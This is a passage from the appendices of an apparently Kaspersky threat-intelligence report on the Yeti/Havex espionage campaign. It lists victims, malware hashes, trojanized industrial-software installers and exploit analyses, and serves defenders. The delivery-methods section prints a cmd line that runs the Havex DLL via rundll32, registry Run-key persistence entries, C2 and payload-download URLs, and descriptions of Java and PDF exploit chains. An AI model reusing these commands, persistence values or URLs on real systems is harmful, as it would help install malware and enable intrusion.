inquire please contact intelreports@kaspersky.com +Victim 49 +Telecommunications and computing services. USA. +Victim 50 +American multinational document management corporation. +Victim 51 +Major electronic systems company based in France acting in areas such as defense, aerospace, +airline security and safety, information technology, and transportation +Victim 52 +Swiss multinational pharmaceutical company. +Victim 53 +American manufacturing conglomerate involved in aircraft, the space industry, defense-oriented and +commercial electronics, automotive and truck components. +Victim 54 +Industrial suburb in India. +Victim 55 +Information Technology company. Iran. +Victim 56 +University in China. +Victim 57 +Global payments and technology company. USA. +Victim 58 +College in USA. +Victim 59 +University in Germany. +Victim 60 +University in UK. +Victim 61 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Supercomputing and Networking Center. Poland. +Victim 62 +University in Canada. +Victim 63 +University in USA. +Victim 64 +University in Spain. +Victim 65 +Academic and Research Network. Ukraine. +Victim 66 +University in Canada. +Victim 67 +Front, middle, and back office services for global financial markets. +Victim 68 +Greek Public Administration Network +Victim 69 +University in the USA. +Victim 70 +University in Russia. +Victim 71 +Airport Authority in the USA. +Victim 72 +Multinational manufacturer. Germany. +Victim 73 +Energy consumption analysis company. +Victim 74 +University in the USA. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Victim 75 +University in Taiwan. +Victim 76 +University in Japan. +Victim 77 +University in Taiwan. +Victim 78 +University in the USA. +Victim 79 +University in the USA. +Victim 80 +University in Sweden. +Victim 81 +University in Poland. +Victim 82 +Pharma industry. +Victim 83 +Digital content for education and research in the UK. +Victim 84 +University + weather research. +Victim 85 +University in South Korea. +Victim 86 +Construction management services. +Victim 87 +Education and Research Network, China. +Victim 88 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Communications network for science and research, Germany. +Victim 89 +University in the USA. +Victim 90 +University in Spain. +Victim 91 +University in South Korea. +Victim 92 +Academic and Research Network, Croatia. +Victim 93 +Encryption technology Institute. +Victim 94 +University in the USA. +Victim 95 +Chemical company, Germany. +Victim 96 +School, USA. +Victim 97 +University in Ukraine. +Victim 98 +Liquefied natural gas, US energy demand. +Victim 99 +University in Poland. +Victim 100 +Academic and Research Network, Australia. +Victim 101 +Space research institute, Russia. +TLP: Green +For any inquire please contact intelreports@kaspersky.com +IX. Appendix 9: +Hashes +Havex, Sysmain, Ddex: +022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac +02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e +066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18 +0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb +0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf +0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68 +0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095 +0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5 +0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255 +13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554 +170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8 +1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a +2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9 +24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed +269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f +2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4 +2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4 +2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754 +2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6 +2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79 +3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b +31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4 +43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b +487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a +49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2 +4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05 +4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129 +56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2 +593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911 +59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72 +5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6 +60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4 +6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54 +6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b +646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552 +65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c +6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7 +66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3 +684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc +698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100 +6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419 +6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d +7081455301e756d6459ea7f03cd55f7e490622d36a5a019861e6b17141f69bd0 +7a115335c971ad4f15af10ea54e2d3a6db08c73815861db4526335b81ebde253 +7c1136d6f5b10c22698f7e049dbc493be6e0ce03316a86c422ca9b670cb133aa +7e0dafedd01d09e66524f2345d652b29d3f634361c0a69e8d466dcbdfd0e3001 +837e68be35c2f0ab9e2b3137d6f9f7d16cc387f3062a21dd98f436a4bcceb327 +83e57d8f3810a72a772742d4b786204471a7607e02fa445c3cd083f164cc4af3 +85d3f636b515f0729c47f66e3fc0c9a0aacf3ec09c4acf8bf20a1411edcdc40a +8d343be0ea83597f041f9cbc6ea5b63773affc267c6ad99d31badee16d2c86e5 +8da93bc4d20e5f38d599ac89db26fc2f1eecbf36c14209302978d46fc4ce5412 +8e222cb1a831c407a3f6c7863f3faa6358b424e70a041c196e91fb7989735b68 +92c959c36617445a35e6f4f2ee2733861aa1b3baf8728d19a4fd5176f3c80401 +94d4e4a8f2d53426154c41120b4f3cf8105328c0cc5d4bd9126a54c14b296093 +98bd5e8353bc9b70f8a52786365bcdb28bd3aef164d62c38dae8df33e04ac11a +9d530e2254580842574a740698d2348b68b46fd88312c9325321ad0d986f523d +a05b53260c2855829226dffd814022b7ff4750d278d6c46f2e8e0dc58a36a1f9 +a2fe7a346b39a062c60c50167be7dd4f6a8175df054faa67bff33ec42b1072d9 +a69fcc5c5409837985e1697012cd6cc5b4e13789dd755f2bcdab99b3aadc4cc2 +a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599 +aafbf4bba99c47e7d05c951ad964ce09493db091ba5945e89df916c6fa95d101 +abdb2da30435430f808b229f8b6856fafc154a386ef4f7c5e8de4a746e350e0c +b0faba6156c7b0cd59b94eeded37d8c1041d4b8dfa6aacd6520a6d28c3f02a5e +b139829440aabe33071aa34604f739d70f9a0a3b06051f3190aabf839df2d408 +b3b01b36b6437c624da4b28c4c8f773ae8133fca9dd10dc17742e956117f5759 +b647f883911ff20f776e0a42564b13ef961fa584ebd5cfce9dd2990bca5df24e +b8f2fdddf7a9d0b813931e0efe4e6473199688320d5e8289928fe87ce4b1d068 +bacac71fcc61db9b55234d1ccf45d5fffd9392c430cdd25ee7a5cea4b24c7128 +bcdcb4b5e9aaaee2c46d5b0ed16aca629de9faa5e787c672191e0bdf64619a95 +bee9f2a01e0049d4cf94016284b16849136233366d1509489797084672e5448f +c25c1455dcab2f17fd6a25f8af2f09ca31c8d3773de1cb2a55acd7aeaa6963c8 +c4e2e341689799281eaef47de75f59edceaba281398b41fe7616436f247ab93d +TLP: Green +For any inquire please contact intelreports@kaspersky.com +c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c +c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad +cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 +cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50 +ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235 +d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46 +d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f +d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9 +d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526 +d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07 +da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916 +dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd +dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989 +e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5 +e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3 +e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace +e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74 +ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc +edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050 +ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3 +f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c +f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3 +fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43 +c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b +ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633 +61f4a9a30c9cce221624da208eac253c8ce95d55da4605b12774619b1a0d1587 +913c21141966750cfe80d1f64f7c819ae59e401b47f0b5031fd2486c10403c91 +87d1d820fd4faea5a48aa3a26d6b5d742b457bff6d291e03dce257d6861766f7 +4c5c02fbd6f35cad2e0a6f15e769bc6d4413219ce059cc11be7589f5d54645ea +81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df +387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9 +0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876 +45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139 +e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad +6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c +69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b +101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a +d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c +1ba99d553582cc6b6256276a35c2e996e83e11b39665523f0d798beb91392c90 +31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a +6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38 +72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8 +a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3 +53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac +1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19 +358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f +3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29 +439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23 +2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368 +bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79 +4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d +170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878 +59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c +b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685 +778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a +224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 +fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 +aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee +fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 +d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7 +Exploits: +1b12b5bfa6488f05680cc5aacdeda420b643713c88964b824913117cfbcd37e5 +6b72d7aaccb2bf2f2cc08f8fab1c1a65beccd62d2f404d6c04806f3dc3c7ed3b +6cd18347407c78195e25adcc532eec0c2ef4e0940f8572909978404b7b9a4264 +d1da07b851ae861da09a4ec4b4ab0b8b1bf44470f4266eaccacacb62e24f825b +3d4c9cad0830c653a06bc6a15739e5c938b83b7ee910895190acfc5bf879945a +b7b70238c7463ea53e3f9d242e3a4dac94eae0e03545df5245a0fa4a62904e41 +Modules: +004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3 +6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82 +7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849 +0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e +f4bfca326d32ce9be509325947c7eaa4fb90a5f81b5abd7c1c76aabb1b48be22 +2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850 +9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +ClientX: +66ab3a26ffe5d9fb72083dc3153d0ddfbfb621cc34a299dd987049b479244480 +Karagany: +05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 +07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 +1b3cf050d626706d32c1c2c1cbd4975d519cfbdb9bca0f2e66b7e1120030b439 +fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 +a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421afb8 +b1a3e67200a3837ecf45481885c2eca88f89509443a0bcec01b12aa737007a9b +a97b5be3d24966ffbeaca15250477b434485f0b3a4c106c443855bbe60426df5 +1cbe3c94e97d99e4e6a09cc6a790e1d26afc3d7cb89b90665a0de22680c6f8d7 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +X. Appendix 10: +Delivery methods + detailed analysis +10.1. Hijacked installers of legitimate software +SwissRanger camera driver (sysmain dropper) +A hijacked installer of libMesaSR used by the +SwissRanger + camera driver, produced by Acroname: +http://www.acroname.com/ +Files details: +SHA-256: +398a69b8be2ea2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90 +Size: +1311927 +Compiled: Sat, 28 May 2011 16:04:38 UTC +Detected as: Trojan.Win32.Inject.hhwa +Description: trojanized installer +%TEMP%\tmp687.dll and %APPDATA%\sydmain.dll +Path: +SHA-256: +a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599 +Size: +133152 +Compiled: Wed, 12 Jun 2013 04:31:14 UTC +Detected as: Trojan.Win32.Inject.hhwa +Description: Sysmain backdoor +Path: +SHA-256: +Size: +Compiled: +Description: +%TEMP%\setup.exe +7fa188fb3bfecbd0fbbb05cfa4a3078ac44f68c63b784b20046e470613e35f96 +1181500 +Sat, 05 Dec 2009 22:50:52 UTC +original installer, version 1.0.14.706 +Registry modification: +[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] +load = C:\WINDOWS\system32\rundll32.exe +c:\documents and settings\luser\application +TLP: Green +For any inquire please contact intelreports@kaspersky.com +data\sydmain.dll +,AGTwLoad +eWon software (Havex dropper) +A hijacked installer of eCatcher - a piece of legitimate software developed by a Belgian producer of +SCADA and industrial network equipment: +http://www.ewon.be/en/home.html +Files details: +SHA-256: +70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9 +Size: +43971440 +Compiled: Sat, 31 Mar 2007 15:09:46 UTC +Detected as: (not detected yet) +Description: trojanized installer +Url: +hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe +Path: +SHA-256: +Size: +Compiled: +Description: +%TEMP%\TmProvider.dll and %SYSTEM%\TMPProvider.dll +Path: +SHA-256: +Size: +Compiled: +Description: +%TEMP%\eCatcherSetup.exe +401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 +327168 +Mon, 30 Dec 2013 12:53:48 UTC +Havex version 038 +c7caa7fa2a23508b0a024a6a4b2dcaad34ab11ea42dffc3a452901c007cdfc34 +43785864 +Fri, 19 Jun 1992 22:22:17 UTC +original installer, version 4.0.0.13073 +Path: +%TEMP%\qln.dbx +Size: +Description: text file with Havex version number +Registry modification: +[HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run] +TmProvider = rundll32 +%SYSTEM%\TMPprovider038.dll +, RunDllEntry +[HKLM\Software\Microsoft\Internet Explorer\InternetRegistry] +TLP: Green +For any inquire please contact intelreports@kaspersky.com +fertger = 269684507736283195770098FD80-25 +mbCheck software (Havex dropper) +A hijacked installer of legitimate software for the remote maintenance of PLC systems mbCHECK produced by MB Connect Line GmbH: +http://www.mbconnectline.com/index.php/en/ +Files details: +SHA-256: +0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f1779707f5 +Size: +1141478 +Compiled: Sun, 14 Jul 2013 20:09:51 UTC) +Detected as: Trojan-Dropper.Win32.Injector.kcnn +Description: Trojanized installer +Path: +SHA-256: +Size: +Compiled: +Description: +Resource: +%TEMP%\mbCHECK.dll and %SYSTEM%\svcprocess043.dll +d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c +437248 +Fri, 11 Apr 2014 05:37:36 UTC +Havex version 043 +12.MTMxMjMxMg==.5.havex.14400000.12.Explorer.EXE.0.2.66.sinfulce +lebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php.90.ra +pidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-sett +ings/bp-settings-src.php.354.AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED +9LxIVQr2Z/gsrHIsgTvK9AusdFo+9..fzAxf1zXj42880+kUmktmVb5HSYi8T27Q +54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk..09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja ++Ml4SI7e60C4qDQAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAQAB. +29.c8a7af419640516616c342b13efab.29.45474bca5c3a10c8e94e56543c2b +d.600000.2000.323000.10.svcprocess. +Path: +SHA-256: +Size: +Compiled: +Description: +TLP: Green +%TEMP%\mbCHECK.exe +34254c2decc973dbd8f28b47690f233f5c5d3e1735ee20a6b8dd1dbe80d16d81 +1647104 +Thu, 25 Jul 2013 13:30:28 UTC +original software, version 1.1.1.0 +For any inquire please contact intelreports@kaspersky.com +Path: +%TEMP%\qln.dbx +Size: +Description: text file with Havex version number +Registry modification: +[HKCU|HKLM]\Software\Microsoft\Windows\CurrentVersion\Run] +svcprocess = rundll32 +%SYSTEM%\svcprocess043.dll +, RunDllEntry +[HKLM\Software\Microsoft\Internet Explorer\InternetRegistry] +fertger = 229182459113651166490098FD80-c8a7af419640516616c342b13efab +Second stage tool delivery: +kinoporno.org was a confirmed Yeti site. It served Havex variant (d532eb6835126e53e7ae491ae29f +d8b3) at +kinoporno.org/Provider.dll. +It also served up the well-known lateral movement utility 64bit Windows Credential Editor tool at +kinoporno.org/wce64.exe +Another example above included a credential and document stealing component, downloaded as a +part of the attack chain from nahoonservices.com: +91.203.6.71/check2/muees27jxt/fl.exe +TLP: Green +For any inquire please contact intelreports@kaspersky.com +10.2. Exploitation +CVE-2011-0611 - PDF exploit +The exploit is delivered as an XDP file (XML Data Package) which is actually a PDF file packaged +within an XML container. This is a known PDF obfuscation method which serves as an additional +anti-detection layer. +The XDP file contains an SWF exploit and two files (encrypted with XOR 0x04) stored in the invalid +section of the PDF. One of the files is Havex DLL (version 038), the other is a small JAR file, which is +used to copy and run the DLL by executing the following command: +cmd /c copy %TEMP%\\explore.dll /y & rundll32.exe %TEMP%\\ +explore.dll,RunDllEntry +The SWF executes the action script, which contains a shellcode (encrypted with XOR 0x96) and another +SWF file (encrypted with XOR 0x7D) which uses the CVE-2011-0611 vulnerability to run the shellcode. +The shellcode then looks for the signature S18t in the memory (which signs the start of encrypted +DLL), decrypts and loads it. +Files summary: +SHA-256: +c521adc9620efd44c6fe89ff2385e0101b0e45bcd7ffcdd88e26fbab4bec2ef1 +File type: +Size: +447723 +Detected as: Exploit.SWF.Pdfka.b +Description: initial dropper +SHA-256: +6b72d7aaccb2bf2f2cc08f8fab1c1a65beccd62d2f404d6c04806f3dc3c7ed3b +File name: A9R1A89.pdf +Size: +335498 +Detected as: Exploit.SWF.Pdfka.a +Description: embedded PDF document +SHA-256: +dd6ea7b1f6d796fce4c562402549ef27f510747ddc9d71c54f47c9a75a7cf870 +File name: Tatsumaki.swf +Size: +3264 +Detected as: Exploit.SWF.Pdfka.a +Description: malformed SWF +TLP: Green +For any inquire please contact intelreports@kaspersky.com +SHA-256: +e94b97716d354a21dcff365e91d2f445fe2cac6a01a38f6dd1c921c57eeafef4 +File type: +Size: +1484 +Detected as: Exploit.SWF.CVE-2011-0611.ae +Description: malformed SWF +SHA-256: +3b6611878a4ebbafae0841e8057171d27793c5c883fdf8fb631c147f18dd90fe +File name: htua.as +Size: +8127 +Detected as: Exploit.SWF.Pdfka.c +Description: malicious Action Script +SHA-256: +9879f436afab7121e74c43cc9e7a9561711254fb1fc2400f68791932d2414c44 +File name: javaapplication1.jar +Description: java file used to load the DLL +SHA-256: +f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a +Path: +%TEMP%\explore.dll +Size: +327168 +Compiled: Mon, 30 Dec 2013 12:53:48 UTC +Detected as: Trojan.Win32.Bublik.burw +Description: dropped DLL: Havex version 038 +CVE-2012-1723 / CVE-2012-4681 - JAVA exploit +In relation to the Yeti infections, we have discovered a malicious JAVA applet - named googlea. +jar - which was part of the malicious HTML file. It uses either CVE-2012-1723 or CVE-2012-4681, +depending on which Java version is running on the victim +s machine. It downloads payloads to +%JAVATMP%\roperXdun.exe (where X is the sequential number starting from 0 for the payload +from the first URL from the list) and executes them. +The URL list is stored in the + parameter in HTML file, so there is no way of checking what +the payload was and where it came from without having the original HTML that embedded the +malicious applet. The URLs in the parameter are encrypted in the form of a string composed from +numbers from 0 to 71 separated by colons. Each number represents a different ASCII character. +Detections +googlea.class -- Exploit.Java.CVE-2012-1723.ou +googleb.class -- Exploit.Java.CVE-2012-1723.eh +TLP: Green +For any inquire please contact intelreports@kaspersky.com +googlec.class -- Exploit.Java.CVE-2012-1723.ov +googled.class -- Exploit.Java.CVE-2012-4681.at +googlee.class -- Exploit.Java.CVE-2012-4681.au +googlef.class -- Exploit.Java.CVE-2012-1723.ow +hidden.class -- Exploit.Java.CVE-2012-4681.as +V.class -- Exploit.Java.CVE-2012-4681.ar +CVE-2010-2883 - Adobe Reader exploit +nahoonservices.com/wp-content/plugins/rss-poster/jungle.pdf + 3c38cb140c83d35ac312b7906b9 +34fe3 +%temp%\TmpProvider0.dll +783A5870FA3ECDEA0C49B20F5C024EFC +Almost predictably, this early Yeti pdf exploit is yet another metasploit rip. The ROP used in this Yeti +exploit matches the msf code instruction for instruction. The pdf stores the Havex downloader in its +content, which it writes to %temp% and executes after obtaining control flow from Adobe Reader. +The significant stages of this exploit start by setting up parameters for the vulnerable strcat call in +the CoolType SING table parsing library here, in order to overwrite the stack with an appropriate +ROP blob. The code is paused here at the vulnerable strcat call: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +After the strcat call values smash the stack, an exact copy of the metasploit ROP code delivered by +the Yeti exploit pivots from the (msf-selected) icucnv36.dll library into the microsoft c runtime to +make a memcpy call here: +The original 0-day exploiting this Adobe Reader vulnerability targeted icucnv34.dll. Function call +chains for both the Yeti ROP and the msf ROP are as follows: +CreateFileA +CreateFileMappingA +MapViewOfFile +save and load the saved mapping ptr +memcpy +ret back into shellcode for Havex file write to %temp% and execute +This work is clearly a rip from metasploit. +CVE-2012-5076 - Java exploit +www.nahoonservices.com/wp-content/plugins/rss-poster/dgoat.jar + www.nahoonservices.com/wpcontent/plugins/rss-poster/jungle.php (TmpProvider0.dll, 2e39e7bd5d566893fe3df0c7e145d83a) +dgoat.jar +TLP: Green +For any inquire please contact intelreports@kaspersky.com +dgoat + EvilPolicy.class, 761 bytes + Mosdef.class, 2176 bytes + SiteError$1.class, 1976 bytes + SiteError.class, 4347 bytes +META-INF +MANIFEST.MF, +Manifest-Version: 1.0 +Another exploit ripping metasploit code. This exploit was first seen on a large scale when exploit +code targeting cve-2012-5076 was included in the +Cool Exploit + pack. The flaw lies in the +configuration of the JRE itself and enables untrusted applets to access dangerous packages. In other +words, +com.sun.org.glassfish.,\ + was left out of the checkPackageAccess list in the java.security file. +From the unrestricted com.sun.org.glassfish.* package, the untrusted applets can create a class with +elevated privilege. In this case, one of the exposed +dangerous + packages happens to be com.sun. +org.glassfish.gmbal, which you can see imported by +SiteError.class +Also in that class file is the trigger itself, where a malicious class is loaded on the fly by the +unrestricted +GenericConstructor + code that should not have been available to an untrusted applet. +The new instance of localClass created from smd_bytes is nothing more than a call to set the +SecurityManager value to null, effectively turning off the JRE sandbox security access features. The +exploit maintains a class in the byte array: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +And when decoded, the contents of this smd_bytes array are in fact +SecurityManagerDisabler. +class +After SecurityManagerDisabler.class disables the JRE SecurityManager, SiteError.class code loads +the Mosdef.class, which downloads and runs another Havex backdoor. It downloads +www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php to %temp%, renames it to +TMPprovider0.dll and executes the Havex code: +TLP: Green +For any inquire please contact intelreports@kaspersky.com +CVE-2013-1488 - Java exploit +www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar + www.nahoonservices.com/ +wp-content/plugins/rss-poster/juch.php +6f50b55b9f08522e35f871a9654c5a84, start.jar, Exploit.Java.CVE-2011-3544.sf +Delivers +coresyns.exe +, a Karagany backdoor +start.jar + FakeDriver.class, 1771 bytes + FakeDriver2.class, 1573 bytes + LyvAGalW.class, 2459 bytes ++---META-INF + MANIFEST.MF - +Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation) ++---services +java.lang.Object - +FakeDriver,FakeDriver2 +java.sql.Driver - +com.sun.script.javascript.RhinoScriptEngine +CVE-2013-0422 - Java exploit +www.nahoonservices.com/wp-content/plugins/rss-poster/direct.jar +www.nahoonservices.com/wp-content/plugins/rss-poster/noah.php, syscmmnet.exe +8907564aba9c9ae3225e304a847d8393, direct.jar, HEUR:Exploit.Java.CVE-2013-0431.gen +fd4927baf0c49ecc3d9285404499a664b09e88140862b6f0ffadd5892de8618e +direct.jar + Joker.class, 809 bytes + King.class, 4234 bytes + Servant.class, 1231 bytes ++---META-INF +MANIFEST.MF - +Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation) +CVE-2013-2465 - Java exploit +serviciosglobal.com/classes/kool.jar +serviciosglobal.com/classes/crunur2i.php?dwl=fne + %temp%\ntsvcreg.exe +6b89e569cfe25e6bb59ca51198f6e793, kool.jar, HEUR:Exploit.Java.Generic +5ecd5f9e2c38bdbc88ca29f363967812016b770d027842a9670d4ceb5b61232f +TLP: Green +For any inquire please contact intelreports@kaspersky.com +kool.jar + fcswzHCx.class, 330 bytes + gQHcpqRh.class, 486 bytes + laovYlnv.class, 2804 bytes + nTAYnMtP$MyBufferedImage.class, 495 bytes + nTAYnMtP.class, 4774 bytes + qmNkVdFD.class, 331 bytes + sMYrLAwc.class, 456 bytes ++---META-INF +MANIFEST.MF - +Manifest-Version: 1.0, 